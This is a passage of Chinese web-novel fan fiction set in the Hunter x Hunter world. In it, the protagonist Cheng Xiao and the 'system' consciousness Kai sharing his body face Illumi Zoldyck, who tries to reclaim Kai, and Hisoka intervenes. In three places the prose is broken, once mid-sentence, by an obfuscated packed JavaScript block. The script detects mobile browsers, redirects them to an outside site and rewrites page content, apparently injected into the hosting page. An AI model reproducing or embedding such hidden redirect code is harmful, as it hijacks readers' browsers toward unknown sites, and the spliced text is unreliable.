他一直以来,都把自己定位成一个孤独的、即将燃尽自我、献上一场盛大烟花的艺术家。他追求的是极致的自我表达,是死亡瞬间的绝对掌控和华丽谢幕。他以为自己是独行的旅人,不需要对任何人负责,所有的疯狂和作死,都是他个人意志的极致体现,是他对抗虚无的最后方式。 但现在,他突然意识到,他每一次看似“勇敢”的挑衅,都是在真实地赌上性命;他每一次“潇洒”的作死,都有一个真实的意识在为他担惊受怕、拼命周旋。 他以为他的观众只有他自己。 可现在,突然告诉他,他自以为的“孤独狂欢”,其实一直有一个沉默的观众,而且这个观众,是活的。 他一直以为自己是在刀尖上跳一支只属于自己的舞,现在才发现,舞池是真实的刀山,而旁边一直有个人在拼命帮他垫脚,防止他被刺穿。 这种认知带来的不是感动,而是巨大的荒谬感和羞耻感。他像一个在舞台上卖力表演小丑、自以为掌控全场的演员,突然被灯照亮了台下那个一直为他拉着安全绳、累得满头大汗的工作人员。 他的“自由”,他的“随性”,他的“盛大烟花”……在这一刻,显得如此轻浮、可笑、甚至……残忍。 他一直以为自己在挥霍的,只是自己的一条“虚拟”生命。现在才知道,他同时在消耗的,是另一个真实存在的灵魂的安宁和努力。 “对不起……”这三个字第一次如此沉重地从他口中吐出,不再是礼貌,而是世界观崩塌后,对那个一直被他视为“工具”的存在,最笨拙也最真诚的道歉。“为我……把一切都当成一场游戏。” 漫长的沉默之后,意识深处,传来一声极轻的、仿佛也带着无尽疲惫的叹息: …………………梦,该醒了。 这一夜,程笑睁着眼直到天亮。他不是在思考,而是在感受。感受身下床板的坚硬,感受窗外海浪的声音,感受每一次呼吸时空气进入肺部的感觉。这一切,原来都是真的。 第二天清晨,正如剧情所展示的那样,老夫妇考官如同人间蒸发般消失无踪,只留下了一艘需要大量维修的船只和一群面面相觑的考生。 短暂的混乱后,求生和通过考试的本能让大家自发地组织起来。没有人号召,但一种默契的凝聚力开始在海滩上弥漫。 而程笑,也默默地放下了之前那副“乐子人”、“局外人”的不靠谱姿态。他没有再多说什么,只是挽起袖子,走到那堆木材和工具前,开始跟着其他人一起,踏踏实实地搬运材料、递送工具,甚至尝试着学习如何敲打钉子固定船板。 动作依旧有些笨拙,甚至时不时会走神,但他的态度是前所未有的认真。 系统静静地观察着这一切,没有干预,也没有指导,只是在意识深处留下一句平和的分析: ……… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526543|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 挺好的。就这样吧。 阳光洒在海滩上,所有考生都在为了“共同修好船,一起通过考试”这个目标而忙碌着,汗水混合着海水的咸味,空气中竟然有种奇异的、积极向上的氛围。 程笑一边费力地扛着一块木板,一边感受着周围热火朝天的景象,忍不住在意识里小声嘀咕: “……这氛围……怪让人不好意思偷懒的……感觉我好像成了什么热血番男主角了……” 一种前所未有的、带着点温情的(或者说让程笑浑身不自在的)气氛正在弥漫。 然而,这气氛只持续了不到三秒。 程笑脸上那点难得的郑重和脆弱瞬间消失,仿佛昨晚那个深刻反省的人不是他。跳脱的思维就像脱缰的野马,总是能奔向他最意想不到的方向。他猛地抬起头,眼神里充满了纯粹到近乎无耻的、技术层面的好奇,刚才的沉重被一种新的“重大发现”所带来的震惊取代: “等等!不对!还有个非常非常严肃的问题!” 他的语气变得急促,带着一种发现了逻辑漏洞般的激动: “那我以前上厕所和洗澡的时候你有没有偷看啊?!” 系统(凯):“………………” 意识海里的沉默,这一次,充满了某种难以言喻的、仿佛被垃圾信息堵塞了的凝滞感。如果沉默有形状,那此刻的沉默大概就是一个巨大的、冰冷的省略号。 程笑却完全无视了这死寂的沉默,完全沉浸在自己的推理中,甚至带着点后知后觉的惊恐,双手下意识地抱住了自己: “我靠!细思极恐啊!岂不是老子从一开始就……毫无隐私可言?!你你你……你个变态偷窥狂!没想到你是这样的系统!我看错你了!” 系统(凯):“…………………” …………………逻辑核心遭遇无法解析的无意义信息冲击。 …………………开始重新评估宿主精神状态的稳定性。 …………………建议采取静默模式,直至宿主恢复正常逻辑思维。 也许是被这过于清奇的角度和理直气壮的倒打一耙给噎住了,也许是根本不想搭理这种智障问题,系统(凯)选择了最彻底的应对方式——装死。 任凭程笑在意识里如何“声讨”和“质问”,回应他的只有一片深沉的、带着些许无语凝噎的寂静。 程笑嚷嚷了半天,发现对方彻底没了声响,自己也觉得有点没趣了。他摸了摸鼻子,那股子尴尬劲倒是被这么一闹冲散了不少。 ……………… 夕阳将海面染成一片温暖的橙红,如同熔化的金子。经过一整天的忙碌与协作,那艘原本破败不堪的船只,此刻虽然算不上崭新,却已然恢复了坚固的模样,每一块修补的木板、每一根拧紧的铆钉,都凝聚着所有考生的汗水与努力。 当最后一丝余晖没入海平面,深蓝色的夜幕笼罩下来,星辰开始在天幕上闪烁。海风变得凉爽,吹拂着每个人疲惫却带着笑意的脸庞。 程笑抱着膝盖坐在一个角落里,看着眼前这一切。身体很累,胳膊还在发酸,但心里却有一种奇异的、陌生的充实感。 他之前所有的疯癫、所有的玩世不恭,似乎都在这种纯粹的、共同努力后的疲惫与宁静中,被悄然抚平了一些。 原来……踏踏实实做完一件事,是这种感觉。 好像……还不赖。 他没有说出口,只是将下巴搁在膝盖上,感受着船身随波摇动的安稳节奏,看着远处海天相接处模糊的界限,和头顶那片璀璨得不像话的星空。 14. 逃无可逃 第三场考试的温情还未褪去,第四场考试的残酷规则就如同冰水般泼了下来。 狩猎与被狩猎。号码牌。三分。 程笑看着手腕上被分发的数字,又看了看周围瞬间变得警惕和审视起来的人群,刚刚那点温馨感瞬间荡然无存。他叹了口气,肩膀垮了下来: “………好吧,我就知道。其实这个世界还是很残酷的,”他顿了顿,纠正了一下,“我的意思是,这破考试也一样,一样难过得很。” 系统沉默了片刻,它的记忆里调取着关于“外界”的信息,那些零散获取的、被美化过的关于“秩序”与“文明”的概念正在被迅速修正。它平静地陈述,却带着一丝极其细微的、幻灭般的顿悟: “…………只是没想到,官方的考试,其残酷的本质也与流星街并无不同。” 作为流星街土著,它短暂的一生被环境灌输着“外界更好”的模糊观念,此刻这脆弱的幻想正悄然崩塌。 程笑看着系统(凯)这副“世界观受到冲击”的样子,有点无奈地摊手: “…安啦~习惯就好。…不过我倒是记得这场考试会发生挺多事儿…”他努力回忆着剧情,“…比如西索,就那个红头发变态,会暴揍小杰一顿…就是那个刺猬头绿衣服的小孩儿,怪可怜的……要不,咱们去安慰安慰他?” 系统冷静地否决了这个提议,并给出了优先级更高的建议: “…………我认为,在当前环境下,你有更需要‘躲避’而非‘安慰他人’的目标。” 程笑:“…………” 伊尔迷那双毫无高光的漆黑猫眼瞬间浮现在脑海,他猛地打了个寒颤。 “…确实。”他干巴巴地咽了口口水,“看那家伙在船上的样子…他八成会来找你‘叙旧’。” 意识深处,系统(凯)沉默了一下,一种基于冰冷事实评估而产生的责任感和……一丝极淡的、近乎“失误”的懊恼传递了出来: “……………是我将风险带给了你。” 程笑愣了一下,随即用力甩甩头,脸上又扯出那副熟悉的、苦中作乐的笑容,尽管这次看起来有点勉强: “嗨~没事儿!咱们现在……可是名副其实的一条绳子上的蚂蚱了~!要死一起死,要活一起活呗!” 在拿到了自己的号码牌后,程笑马不停蹄的钻入了与伊尔迷相反的方向 程笑一边手脚并用地在茂密的灌木丛中开辟道路,寻找着合适的藏身之处,一边在脑子里开始了他的“战后复盘”兼“八卦时间”。 “所以说,”他拨开一根挡路的藤蔓,“你以前真是从流星街那种地方杀出来的?然后还……‘嫁’进了揍敌客家?” 意识海里沉默了几秒,才传来凯那依旧没什么起伏,但似乎带着一丝检索意味的声音: “……………根据残留的记忆碎片显示,是的。” “哇靠!”程笑的眼睛瞬间亮了,仿佛忘记了他们正在逃命,语气里充满了纯粹的、毫不作伪的敬佩(或者说八卦之魂),“那你可太牛逼了!伊尔迷那种级别的变态冰山你都能给他掰弯了?哥们儿你怎么办到的?有什么独门秘籍没有?快传授两招!说不定待会儿被他逮到了,我还能靠这个经验值周旋一下逃条命!” 他说着,还顺手折断了另一根晃到面前的杂草,试图让自己看起来更像是在进行战术侦查而不是菜鸡迷路。 “…………” 凯的声音再次响起,但这一次,那平板的电子音里罕见地掺杂进了一丝……困惑。 “很抱歉,无法传授。我……丢失了过去的绝大部分记忆,也不知道当初……是如何‘成功’的。” “啊?!”程笑顿感失望,像是错失了一个亿,“这也能丢?那也太可惜了吧!你要是能把这套攻略完整记录下来,放到我原来的世界,绝对能卖个千八百块的,标题我都想好了——《绝境求生:如何攻略你的杀手未婚夫》或者《冰山融化指南:从流星街到揍敌客家》……” 系统(凯):“…………” 内心似乎产生了一丝极微小的、名为“无语”的情绪。 “………”气氛一时之间陷入了沉默。 程笑脸上的嬉笑和八卦神色渐渐褪去。他并不是真的没心没肺到那种程度。凯的沉默和记忆缺失,再结合凯目前的状态,已经足够拼凑出一个残酷的真相——凯最终肯定是在揍敌客家“死亡”了,而这过程绝不会愉快。 他识趣地没有再追问下去,将那点不合时宜的好奇心压回了心底。 系统(凯)也不再言语,彻底陷入了寂静,仿佛将所有脑力都投入了对当前极端劣势的评估和推演中,思考着或许根本不存在的应对之策。 两人共享着同一份清晰的认知:以这具身体目前的能力和伊尔迷的手段,在这场限时的狩猎考试里,躲得过一时,绝躲不过一世。 伊尔迷找到他们,只是时间问题。 沉重的、近乎绝望的紧迫感,如同逐渐收紧的绞索,无声地缠绕上来。 令人窒息的沉默持续蔓延,仿佛每一秒都被拉长,空气中只剩下风吹过树叶的沙沙声和自己越来越响的心跳。程笑率先在这无声的压力中败下阵来。 “……系统,哦不,凯,”他咽了口唾沫,声音在寂静的林子里显得有点突兀,“咱俩还是说说话吧,就这么不出声……压力挺大的。” 意识海里沉默了一瞬,然后响起凯那平静无波的声音: “…你想听什么?” “我?我……我随便吧……”程笑挠挠头,彻底迷路的他自暴自弃地一屁股坐在地上,后背靠着一棵大树,“……你呢?你想听什么?” “…信息。” 凯的回答简洁而明确,“所有的,你知道的,关于这场考试的信息。” “…行叭,”程笑深吸一口气,“那我就先把这场考试的剧情大致跟你‘剧透’一下吧~” 于是,他开始在意识海里滔滔不绝地讲了起来,从号码牌规则、到小杰跟踪西索、再到伊尔迷出现、最后讲到…… “……然后伊尔迷摘下脸上的钉子后,他居然在西索面前直接打洞睡觉了!哈哈哈你说好不好笑,就跟……” “停。” 凯的声音突然打断了他,带着一种前所未有的严肃和……一丝难以置信的探究。 “…伊尔迷和西索……认识?关系足以让他毫无防备地在对方面前入睡?” “…?你不知道吗?”程笑反而愣了一下,“他俩关系虽然有点诡异……但整体好像还不错?合作过好几次呢。实不相瞒,我之前还偷偷磕过他俩的CP来的……”他摊摊手,完全不觉得这有什么问题。 凯没有理会“CP”这个词,他的核心正在基于这个至关重要的新信息进行疯狂的重新运算和推演。 几秒后,一个极其大胆的、基于西索那无法用常理解析的行为模式的计划迅速成型。 “我或许知道生路了。” 凯的声音带着一种决断的冷静。 “…去找西索。” “?”程笑懵了,“去找那个变态?你确定不是送外卖上门?” 凯的声音速极快却清晰,“西索的逻辑无法用常理衡量,但他有一种‘延迟满足’的极端耐心。他之前在泥沼地多次有机会杀你却未动手,甚至表现出浓厚兴趣,这表明你已被他列入‘待成熟果实’或‘有趣玩具’的观察列表。沿着这条逻辑,他大概率不会在‘品尝’或‘玩尽兴’之前允许他人摧毁他的‘所有物’。因此,靠近他,可能是目前应对伊尔迷最有效的‘临时防护手段’。” “妙啊!!”程笑猛地直起了身子,眼睛唰地亮了,用力一拍大腿,“还得是你!这逻辑无懈可击!最后的考核里伊尔迷想杀小杰就是被西索拦下来的!同理,说不定我也能蹭个保护伞捡条命呢!” 他一下子蹦起来,兴奋地拍了拍屁股上的泥土和草屑。 “走!我知道西索大概在哪个方向‘狩猎’!咱们这就去投奔‘新老大’!” 程笑刚因为想出生路而振奋起来,拍拍屁股准备行动,一个冰冷平缓、熟悉到让他骨髓都发寒的声音,毫无征兆地从头顶上方响起—— “精准的判断。” 程笑全身的肌肉瞬间僵硬,血液仿佛在刹那间被冻结。他极其缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526544|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢地、像个生锈的机器人一样,一点点抬起头。 只见上方浓密的树冠阴影中,伊尔迷·揍敌客不知何时就静静地站在那里,仿佛他一直就是树木的一部分。黑色的眼眸在枝叶缝隙透下的微光中,看不出任何情绪,只是精准地锁定着他。 “可惜,”伊尔迷的身影如同鬼魅般一闪,下一瞬已经悄无声息地站在了程笑面前,距离近得几乎能感受到对方身上散发出的冰冷气息,“……速度差了一点。” 他微微歪着头,插满钉子的脸上似乎露出一个思考的表情,用那种讨论天气般的平淡口吻继续说道: “不过,要是真的让你们跑去西索那边,我确实会很苦恼。” “……幸好,”他顿了顿,目光重新聚焦在程笑(凯)身上,“一切都还来得及。” 这最后一句话,落在程笑耳朵里,自动翻译成了最绝望的宣判: 来不及了。 我完了。 伊尔迷那双漆黑的猫眼一眨不眨地盯着程笑,像是在评估一件物品的瑕疵,目光中的冰冷和不悦几乎要凝成实质。 “让他出来。”他命令道,语气里没有任何转圜的余地。 程笑下意识地想辩解:“可是……” “…让我出来。” 凯的声音在意识深处响起,带着一种不容置疑的冷静,“看他的眼神,拒绝的下一秒,他就会直接‘处理’掉你这具身体,不会有任何犹豫。” 程笑哽住了,所有的话都卡在喉咙里。他默默地、在精神层面给了凯一个“自求多福”的意念,然后极其麻利地切断了自身对身体的控制,彻底让出了“舞台”。 伊尔迷清晰地看到,面前这具身体的气质开始以肉眼可见的速度发生变化。 那种吊儿郎当、总带着点神经质的轻浮感迅速褪去,如同潮水般消失不见。取而代之的是一种沉静下来的、内敛的坚定,眼神变得沉稳而专注,周身散发出一种伊尔迷记忆中熟悉的、冰冷的疏离感。 一丝连伊尔迷自己都未曾察觉的、极淡的满意弧度,悄然爬上了他的唇角。 “这样就顺眼多了。”他肯定道,仿佛在欣赏一件被擦拭干净的收藏品。 随即,他的语气带上了一丝不易察觉的、如同主人对待一件失而复得的、略有磨损但核心功能完好的珍贵工具般的……“耐心”? “这么些年了……你已经玩得够久了吧?”他歪着头问道,仿佛在评估一件物品的损耗情况,“如何?附身在各种东西上,找到你想要的‘自由’了吗?” 在他的认知里,凯是某种能够自主选择寄生对象和时机的特殊存在。他以为凯这些年的“失踪”,是厌倦了揍敌客,正在以这种奇特的方式畅游世界,体验所谓的“自由”。 系统(凯):“…………” 伊尔迷这句看似平常的问话,落在凯的意识里,却化为了最尖刻的讽刺。 玩?自由?那些漫长到几乎失去时间概念的、被困在低等生物躯壳里、只能凭借本能挣扎求存、连自我都几乎磨灭的混沌岁月…… 无尽的酸楚和荒谬感汹涌而来,几乎要冲垮他维持的冷静。但他最终什么也没有说,只是将所有的情绪死死压回核心的最深处,维持着表面的绝对平静。 伊尔迷的语气带着一丝不容置疑的、仿佛家长宣布游戏结束般的口吻: “玩够了,就该回去了。” 他向前微微倾身,那双深不见的黑眸似乎能看进这具皮囊的最深处,锁定那个他认定的意识。 “已经够久了。”他陈述道,仿佛这已是最大的恩赐和宽容,“如果你想学念,也没问题。家族会为你安排一个更好的身体。” 他的目光扫过程笑的脸,毫不掩饰地流露出冰冷的嫌弃: “比这具——”他顿了顿,似乎找不到任何值得肯定的词汇,“——更好,也更适合你。” 这话语里,没有丝毫征求同意的意思,只是在宣布一个既定的事实,以及一个他自认为极具诱惑力的条件——离开这具“劣质”的容器,回归揍敌客的掌控,并获得新的力量。 15. 我们是敌人 伊尔迷那番“玩够了就该回去”的宣言和对他身体的嫌弃,如同冰水浇头,但更让程笑心底发寒的是另一件事。 他在意识里对着凯疯狂输出:等、等等!他怎么能这么理所当然啊?!他是不是忘了?!他亲手杀了你啊!现在这又是在演哪出?失忆了吗?! “…他没有忘。” 凯的声音在意识深处响起,冰冷依旧,却带着一种看透本质的疲惫。“他也并非在演戏。在他的认知里,那或许根本不能称之为‘杀’。” 凯基于对伊尔迷和揍敌客家族的了解,进行着冷酷的剖析: “在他的价值体系中,我始终是一件‘资产’。当时的我,状态被判定为‘失控’且‘试图永久脱离掌控’,威胁等级过高。他对我的‘处理’,在他看来并非基于仇恨的‘谋杀’,而是基于必要性的‘销毁故障资产’或‘执行格式化’。” “而现在,‘资产’似乎恢复了部分功能,并重新显现了价值。因此,他的逻辑自然切换到了‘回收并升级资产’的模式。提及过去的‘处理’环节毫无意义,甚至可能影响当前的‘回收效率’。他并非忽略,而是从根本上,就无法理解‘死亡’和‘仇恨’对你我而言所承载的重量。” “总结:他认为他现在所做的一切,包括提供新容器和训练,都是对‘资产’的合理优化和最大程度的‘仁慈’。” 程笑:“…………” 理解了,但完全无法接受。 这比他想象的任何一种变态还要令人毛骨悚然。这不是仇恨,不是报复,而是一种彻头彻尾的、将人视为物品的、冰冷到极致的非人感。 伊尔迷看着面前“程笑”脸上那细微的、难以解读的复杂表情(源于内部激烈的意识交流),略微偏了偏头,似乎有些不耐烦: “所以?”他重复道,声音平缓却带着无形的压力,“你的答案?” 随即,他又像是想起了什么至关重要的事情,自行下了结论,那语气笃定得仿佛在陈述物理定律: “无所谓。‘凯’一定会答应的。” 他深知“凯”那近乎绝对理性的思维模式。在他的认知里,面对一个“更优容器+系统训练”和“继续困在劣质身体里被追杀”的选项,任何一个有理智的存在都会毫不犹豫地选择前者。他理所当然地认为,凯会和他一样,选择那条“效率最高”、“价值最大”的道路。 意识深处: 凯:“………” 程笑:“………他这话说的……好像是给了你选择,但又好像完全没给啊。” 凯:“…………自信点。把‘好像’去掉。” “不过,”伊尔迷右手握拳,轻轻敲在左手掌上,仿佛想到了一个绝妙的主意,语气里甚至带上了一丝难以察觉的“周到”:“既然是全新的身体,为了确保不再出现上次的‘意外’,还是插上一根‘保险’比较好。” 在他的逻辑里,正是因为当年对凯原身使用的念钉技术不纯熟,导致了后续的失控和“处理”。现在有了一个全新的、空白的身体,他自然要植入一个更完美、更牢固的念钉控制器,彻底杜绝任何隐患。 至于这具身体里原本的那个意识(程笑)?那只是一只无足轻重、随时可以抹去的虫子罢了。 那支蕴含着冰冷念力的手指,朝着“程笑”的额头缓缓靠近。 凯透过这具身体的双眼,看着那逐渐放大、象征着绝对支配的手指,呼吸都仿佛都停滞了。 程笑在意识海里发出了无声的哀嚎:…………完了完了完了!居然能体验到奇犽被插钉子的第一视角同款……虽然我一点都不想看啊喂!!! 就在那指尖即将触碰到皮肤的前一刹那—— “~??” 一个慵懒而甜腻的、如同咏叹调般的声音突兀地插了进来。 “小伊~??” 西索的身影如同鬼魅般从林间阴影中滑出,纸牌在指尖翻转,“不可以~擅自弄坏这个哦~??” 他金色的瞳孔闪烁着兴奋的光芒,牢牢锁定了伊尔迷的动作。 那根致命的指尖,在离额头仅剩几厘米的地方,硬生生停住了。 程笑在巨大的恐惧和后怕中,几乎要虚脱过去,在意识里用尽全部力气呐喊: “……西索!!!我他妈从未如此期待过你的出现!!!” 之后,两大变态就这么旁若无人地、当着“当事人”的面,开始了一场决定其命运的交谈。 西索饶有兴味地打量着伊尔迷,指尖的扑克牌转得飞快:“~我就知道~你对这颗小苹果的态度不一般~ 所以呢?确定了?里面真的是那个‘凯’?” 伊尔迷面无表情,但语气笃定:“…是。所以我正在回收我的财产。”(言外之意:这是我的家务事,你别插手。) “嗯哼~?那可不行哦~” 西索拖长了调子,金色的瞳孔里闪烁着不容商量的光芒,“这颗苹果……还没到采摘的时候呢~”(言外之意:不许你插钉子,也不许你用任何方式‘催熟’或‘改造’他。) 伊尔迷的视线冷冷地扫过程笑(的外壳):“…你感兴趣的,不过是里面那点有价值的‘芯子’。这种脆弱又疯癫的‘外壳’,也算在你的‘未成熟苹果’范畴内?” 程笑:“…………”(气得想跳脚,但悲哀地发现对方说得好像有点道理,无法反驳。) 西索轻笑一声,无视了伊尔迷的质疑,反问道:“…那你现在,准备怎么做呢~?” 伊尔迷似乎早已有了方案,语气平稳地抛出条件:“把他交给我。揍敌客有最好的技术,可以将‘价值’完整地剥离出来,并妥善安置。”他顿了顿,补充了一个在他看来极具诱惑力的条件: “…到时候,我可以让他……‘陪’你玩玩。”(言外之意:我会亲自监督,确保你的‘玩具’不会在剥离过程中损坏,并且之后允许你在一定限度内使用。) 西索的眼睛瞬间亮了起来,仿佛看到了双倍的乐趣。他舔了舔嘴唇,发出一个愉悦的音节: “…听起来~是个相当不错的提议呢~” 两人三言两语之间,仿佛已经将程笑和凯的未来彻底安排明白了。 就在程笑以为自己即将被这两个变态三言两语决定悲惨命运,内心一片冰凉时—— “…我拒绝。” 系统(凯)操控着身体,抬起了头,目光平静却异常坚定地迎上伊尔迷的视线,清晰地重复了一遍: “我不愿意,伊尔迷。” 伊尔迷:“……?” 这完全出乎意料的、直白的拒绝,让他那总是平稳无波的情绪产生了一丝极其细微的、名为“意外”的波动。 “我们相处了那么久,” 凯的声音通过程笑的声带发出,冰冷而理智,“你了解我的思维模式,我也深知你的行事准则。任何求饶、哭泣或者妥协,在你面前都毫无意义,只会让你更坚定地执行既定方案。” “所以,我们来说点你能听懂的——” 凯的语气骤然变得极其锐利,如同出鞘的匕首,“如果你现在强行带走程笑,我会立刻自杀。之后,我会尽我所能,附身到你短时间内不能找到的、离揍敌客主宅最近的任意一个人身上。” “然后,” 他的话语如同冰冷的刀锋,一字一句地切割着空气,“我将操纵那具身体,去攻击揍敌客的对外防御系统——你知道的,那套我亲手参与构建的核心框架。对我而言,它薄弱得像一张纸。” 威胁。 赤裸裸的、精准无比的、直击要害的威胁。 空气仿佛凝固了。连西索脸上那玩味的笑容都微微一顿,金色的瞳孔里闪过一丝真正的讶异,随即化为更浓烈的、看戏般的兴奋。 伊尔迷沉默了。他那高速运转的大脑正在疯狂评估这个威胁的真实性和严重性。 极有可能发生。他立刻得出了结论。 家族现有的信息系统核心确实仍沿用着他当年设计的框架。对外坚不可摧,但对他而言……并非无法突破。而且……他能隐藏这么多年才被我偶然发现,证明他确实有独特的隐匿手段。如果让他换一个更低调的宿主再次隐藏起来,并持续针对家族系统进行破坏……将会非常麻烦。 系统(凯)紧紧地盯着伊尔迷,不敢有丝毫松懈。 他当然不可能放弃程笑。但他深知,想要和伊尔迷、西索这种存在坐上谈判桌,就必须彻底摒弃所有属于“人”的软弱和侥幸,动用他们能理解的、冰冷的、基于利弊计算的“规则”。 他也确实动用了一点信息差。既然伊尔迷坚信他这些年是在“自主寻求自由”,那么他就顺势让对方误以为自己对“附身”拥有极高的掌控力(虽然事实是他被动流浪了多年)。幸好他面对的是对“未知念能力”保持谨慎的伊尔迷,如果是情报分析能力更变态的库洛洛,这个 buff (虚张声势)很可能立刻就会被拆穿。 这一刻,赌的是伊尔迷对“风险”的评估和对“家族利益”的绝对维护。 伊尔迷周身的气息骤然降至冰点。他那张插满钉子的脸上依旧没什么表情,但那双漆黑的瞳仁却在瞬间扩张到了近乎非人的、可怕的程度,死死锁定了“程笑”。 “凯,”他的声音低沉平稳,却带着一种山雨欲来的压迫感,“你知道你在说什么吗?” 这副模样,凯太熟悉了。在他作为“妻子”的那段经历里,他已经在家族的训练场上目睹过无数次——这是伊尔迷的杀意凝聚到顶点,下一秒就会用念钉精准贯穿目标头颅的前兆。 伊尔迷此刻就像一个被熊孩子屡次挑战底线、终于耗尽了最后一丝耐心的家长,却因为对方巨大的“价值”而不得不强行压下立刻“清理门户”的冲动,试图给予最后一次回头的机会。 “你要与揍敌客为敌吗?”他问道,每一个字都重若千钧。 凯当然知道这句话背后意味着什么。之前伊尔迷的所有行为,无论是“回收”还是“提供新容器”,其核心逻辑都是 “你是我家的资产,我在处理家务事” 。 而他刚才的威胁,无疑是用最强硬的方式,将自己从“揍敌客的资产”这个范畴里彻底剥离出来,并向伊尔迷清晰地表明: “我不是你流落在外的财产,我是了解你们所有弱点、并且有能力付诸行动的、真正的‘敌人’。” 一直以为刀柄牢牢握在自己手中的伊尔迷,第一次如此清晰地感受到,那原本温顺的刀锋调转了方向,冰冷的刃尖正直刺向他最在意的东西。 “啧。”伊尔迷极其轻微地咂了一下舌,视线飞快地瞥了一眼旁边兴致勃勃看戏的西索。 上一次凯反抗时,他可以用强硬的念针手段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526545|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接压制、格式化。但现在,有西索这个明确的“反对派”在场,并且明确表示要保下这个“苹果”…… 他袖中的指尖微微一动,摸索着那枚冰冷的念钉,权衡着强行出手的风险与收益。 强行带走的风险(凯可能真的自杀并成为家族隐患)和代价(与西索在此刻冲突)已经超出了他目前愿意支付的范畴。 他选择了暂时……按兵不动。 但那双扩张的瞳孔依旧没有恢复,如同最深的寒潭,昭示着这件事绝不可能就此结束。 伊尔迷缓缓压下袖中躁动的念钉,周身那骇人的杀意如同潮水般退去,但取而代之的是一种更深沉、更冰冷的威胁。他的语气甚至变得有些“循循善诱”,仿佛在教导一个不懂事的孩子看清现实: “你要想清楚,凯。”他平静地陈述,每一个字都带着千钧的重量,“你现在要对抗的,不是我——伊尔迷·揍敌客个人。你是在与整个揍敌客家族为敌。” 他向前微微倾身,那双刚刚恢复正常的漆黑猫眼再次锁定了目标,抛出了真正的、足以致命的威胁: “你以为……你以这种‘状态’存在,我们会不清楚是为什么吗?回来——回到掌控之中。你应该比谁都明白,你体内不仅藏着‘他’的秘密,更承载着家族的绝对机密。即便我同意,‘父亲’也绝不会允许这样的‘你’……继续活着。” 凯的思绪仿佛被瞬间冻结。 他当然知道。他太清楚自己已经深陷何等绝望的泥潭。 且不说生前他作为核心成员,深度参与了揍敌客家族经济脉络和信息安全的构建,知晓大量足以动摇家族根基的机密; 仅仅是他“死后复活”这一点本身,就触及了揍敌客最核心、最不容外泄的禁忌——其力量源头,极大概率指向了那个被家族绝对封锁的、他曾与之有过真实接触的终极秘密武器——亚路嘉。 家族高层必然早已对他的状况进行了最精密的分析。他的身体没有一丝一毫的念力,这彻底排除了“阴差阳错觉醒念能力复活”这种微乎其微的可能性。 那么,剩下的唯一合理解释,就只剩下了一个——他向亚路嘉许了愿。 而这个真相,是席巴·揍敌客绝对不允许被任何“外人”知晓,甚至不允许其以任何不稳定形式存在的。 “这是最后的机会了,凯。” 伊尔迷的声音带着一种罕见的、近乎“宽容”的耐心,他确信自己已经给出了最优解,也确信凯的理性会做出唯一“正确”的选择:“虽然我没有给人第二次机会的习惯,但如果是你的话……我可以当作刚才那些话从未听过。” 他继续说着,仿佛做出了巨大的让步: “父亲那边,我会处理好一切。你会成为家族中最紧密保存的、最不可动摇的核心成员。一切你能想到的资源、知识、力量……都可以为你提供。” 他笃定地看着“程笑”,仿佛已经透过这具皮囊,看到了内部那个正在基于绝对理性进行运算的灵魂即将屈服的模样。没有人能拒绝这样的条件,尤其是在死亡的对比下。 “……”凯操控着身体,依旧沉默。 就在这时,程笑的声音在意识深处响起,带着一种故作轻松却难掩疲惫的释然: “……要不,你就跟他回去吧?” 他的声音里听不出太多对死亡的恐惧,反而是一种如释重负的疲惫,“我这种人……习惯了什么都一个人扛。现在突然告诉我,我的命还连着你的……太沉了,我有点……扛不动了。” 他笑了笑,那笑容虚弱而干净,“所以,就这样吧。这场闹剧从我开始,也该从我这里结束。” “…说不定……下去之后,我还能跟阎王爷吹牛逼,说我可是亲眼见证过‘系统’和‘前夫’为我谈判这种宇宙级抽象场面的人呢……这牛我能吹到下辈子……” 凯沉默地听着,然后,在那片共享的意识黑暗里,他的“声音”平静地响起: “…程笑。” “我从寄生到你身上的第一刻起,就知道。” “你这额外的生命,对你而言并非恩赐,而是命运一场充满撕扯感的、痛苦的挽留。你缺乏那种根植于本能的、对‘生’的渴望。” “所以,我才对你说——我的任务是‘保证你的存活’。” 他的声音顿了顿,仿佛下定了某种决心: “事实上,是‘我’需要‘你’存活。如果你真的不愿继续,可以将这具身体的掌控权完全移交给我,由我来面对一切。” “所以——” 在那片无尽的、黑暗的意识海中,程笑仿佛“看”到了一点微弱的、淡蓝色的光晕,那是一个极其模糊的灵魂轮廓,正静静地“注视”着他。 那个轮廓传达出最后一句清晰的话语: “不要替我说遗言。” 这不是系统的指令。这是凯,作为一个独立的意识,对程笑发出的、平等的请求。 